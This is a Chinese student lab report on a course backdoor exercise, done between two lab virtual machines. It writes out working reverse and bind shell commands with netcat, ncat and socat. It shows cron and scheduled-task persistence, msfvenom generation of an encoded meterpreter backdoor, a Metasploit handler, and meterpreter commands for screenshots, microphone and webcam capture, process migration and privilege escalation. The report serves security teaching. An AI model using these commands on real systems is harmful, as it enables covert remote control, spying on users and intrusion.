加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > Windows > 正文

2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

发布时间:2020-12-14 02:22:34 所属栏目:Windows 来源:网络整理
导读:2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践 1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell,任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取

2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

1.实验内容

  • (1)使用netcat获取主机操作Shell,cron启动
  • (2)使用socat获取主机操作Shell,任务计划启动
  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。

实验环境

  • 关闭防火墙的win7虚拟机,我的ip地址为:?192.168.235.138?
  • kali虚拟机.ip地址为:?192.168.235.137?
  • 两台虚拟机可以ping通

实验中用到的工具

  • netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从?GitHub下载或者从自己机子里拖拽进去。
  • socat。netcat的增强版。安装方法同上。
  • meterpreter。kali机自带,只在kali中用

实验步骤

1.使用netcat获取主机操作Shell,cron启动

win7为坏人,linux为受害者。cron启动

  • win7监听,linux反弹连接
  • win7中cmd窗口中输入:?netcat.exe -l -p 9999?。 表示开始监听9999端口。注意,要在netcat所在的目录下进行输入。

?

  • kali中输入命令 ?nc 192.168.235.138 9999 -e /bin/sh?。这时候win7的cmd窗口里就获取了linux的shell了

?

  • cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"?man cron?"。这里的cron启动时去让linux受害者去定时反弹连接win7。
  • 用?crontab -e?指令去增加一条定时任务,
  • ?
  • 格式如下
    • # m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
      12 * * * * /bin/netcat 192.168.235.138 9999 -e /bin/sh

      ?

?

  • 写完输入指令?crontab -l?查看。?

    ?
  • ?

  • 每个小时的第12分钟,kali中就会自动执行那条指令,所以如果目标ip138的机子整好就在9999端口监听,那这时候就138就会获得kali的后门。当然也可以正向连接,linux作为受害者,cron指令写成?nc -l -p 9999 -e /bin/sh?,然后坏人机win7中?nc IP 9999?,也能获得shell

linux为坏人,win7为受害者。

  • linux监听,输入命令? nc -l -p 9999?
  • win7去反弹连接,在ncat目录下输入??ncat.exe -e cmd.exe 192.168.235.137 9999?

  • ? 这时在linux中可以看到win7的cmd命令窗口
  • ?

2.使用socat获取主机操作Shell。 任务计划启动

  • 这意思是win7作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win7作为victim反向连接的。

?- 用?man socat?命令查看socat的介绍及相关用法: (socat图)

  • win7中打开控制面板,点击管理工具里的计划任务
  • 点击右侧的?创建任务?,在?常规?选项卡里填名称,自己以后要认得出来

?

  • 点击?触发器?选项卡,选择新建,然后将开始任务设置为?工作站锁定时?

?

  • 再点击?操作?选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写?tcp-listen:5212 exec:cmd.exe,pty,stderr?(作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定?保存设置?:

?

  • 点击左侧的?任务计划程序库?,点击右边的?显示所有任务?,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali

?

?

  • 在Kali Linux中输入?socat - tcp:192.168.235.138:5212?命令,可以成功得到一个cmd shell:

?

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:
  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

  • 简单粗暴?msfvenom -p windows/meterpreter/reversetcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe? 指令生成一个exe后门程序。完整指令是:

    msfvenom -p windows/meterpreter/reversetcp -x ./fenix.exe -e x86/shikataganai -i 5 -b ‘x00’ LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe

    ?

  • 参数说明:

    • ?-p??使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
    • ?-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
    • ?-e??使用的编码器,用于对shellcode变形,为了免杀
    • ?-i??编码器的迭代次数。如上即使用该编码器编码5次
    • ?-b badchar?是payload中需要去除的字符
    • ?LHOST??是反弹回连的IP
    • ?LPORT 是回连的端口
    • ?-f??生成文件的类型
    • ?> ?输出到哪个文件

?

  • 现在文件生成好了,先再win7的命令行中输入?ncat -l 5212> 20165212backdoor.exe?开启监听并将接受的数据写入20165212backdoor.exe文件中

?

  • 再kali中用?ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe? 指令将数据传过去

  • 彳亍,现在要用msf了,一个强大的平台。。。自己感受。kali中输入?msfconsole?:

?

  • 依次输入以下命令
    • use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set LHOST 10.211.55.10 //注意此处应为Linux的IP!
      set LPORT 5212 //后门程序里的端口号
      show options
      exploit

      ?

?

  • 说明:

    • LHOST需要和上一步生成backdoor.exe的一致,本例中即192.168.235.137,坏人的ip
    • LPORT也需要和上一步生成backdoor.exe的一致,即5212;
    • payload也要一致,即windows/meterpreter/reverse_tcp
  • 现在去win中双击运行20165212_backdoor.exe,点后win7没反应,然后切回kali,通过msf的监听进程获得win的主动链接,并得到远程控制shell

?

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 承接上面的。要是误操作什么的不小心关掉了其中什么东西也ok,win中任务管理器再进程中结束backdoor.exe,然后再照上面敲一遍。
  • 获取截屏:?screenshot ?(截屏命令图(抓的屏图12))

  • ?

  • ?

  • ?

  • 获取音频:?record_mic?

  • .

    ?

  • ?

  • 获取摄像头和录像:?webcamsnap?/?webcamstream?。我的没成功,可能是因为win7上没有装驱动 (摄像头失败)

  • ?

  • ?getuid?获取运行msf会话的用户名,从而查看当前会话具有的权限

  • ?sysinfo?获得目标系统的信息,机器名、操作系统等
  • ?shutdown?命令,建议不要过早的尝试这个命令
  • ?ps?获得受害者机上运行 的进程信息

?

  • ?migrate []?命令,例如我把msf会话移植到1588 中,是explorer.exe,稳定的系统服务。从头想起,我们的实验是把受害者绑起来给他植入后门,很无脑。如果是正常的利用系统漏洞、浏览器漏洞溢出而得到的会话,比如IE浏览器,那么msf meterpreter代码存在于IE的内存空间中,那边关掉IE浏览器,msf会话就没了,但是若存在于 explorer这样稳定的系统服务中,就能一直用。而且,这种移植是“无缝移植”,不用断开已有的TCP连接。

?

  • ?execute?命令,例如我直接与win的cmd.exe交互,输入?execute -H -i -f cmd.exe?,得到下图所示的shell

?

  • ?upload?/?download?命令,顾名思义——往受害机传/从受害机下载 文件
  • .

    ?

  • ?

  • ?cat?/?edit? 命令,查看/编辑文本

?

  • 权限提升:?getsystem?,然后?getuid?查看权限(下图中好像已经是管理员权限)
  • 更多的meterpreter常用指令可以通过输入?help?获取?

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 。。

?

基础问题回答

?

(1)例举你能想到的一个后门进入到你系统中的可能方式?

?

——玩游戏的会后开外挂,那时候我会自己关掉windows Defender和杀软。游戏外挂通过驱动劫持(声卡),在和服务器数据互动的时候实现篡改。或者是浏览器漏洞,例如我用edge浏览器写博客,它莫名其妙自己崩溃,还不保存!edge是win10自带 的一个浏览器,兼容性应该没问题,所以频繁崩溃的原因可能在于进程冲突、浏览器漏洞……

(2)例举你知道的后门如何启动起来(win及linux)的方式?

——我玩游戏开外挂,那个外挂程序就是一个后门,在我启动wegame时它会跟着启动(不隐藏),这应该是手动触发启动

(3)Meterpreter有哪些给你映像深刻的功能?

——shut down

(4)如何发现自己有系统有没有被安装后门?

——日志,进程查看

实验总结与体会

总结:

实验内容较多,尤其是是meterpreter实践,有很多很多事可以做,我只写了看起来重要且常用的一些指令,更多的请参考《Metasploit渗透测试魔鬼训练营》。本次实验在一个理想化程度很高的环境下完成,这样在现实中是没有任何意义的。相比较于msf中花里胡哨的操作,我觉得更重要的还是去研究有堆栈保护、有杀软、有防火墙的环境下如何渗透目标,哪怕是一个bit,因为要在那样的基础上我们后续的实验、操作才有可行性。或者是几个人凑各团队,每个人负责一块。

体会:

markdown里传图片功能坏了,我...

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读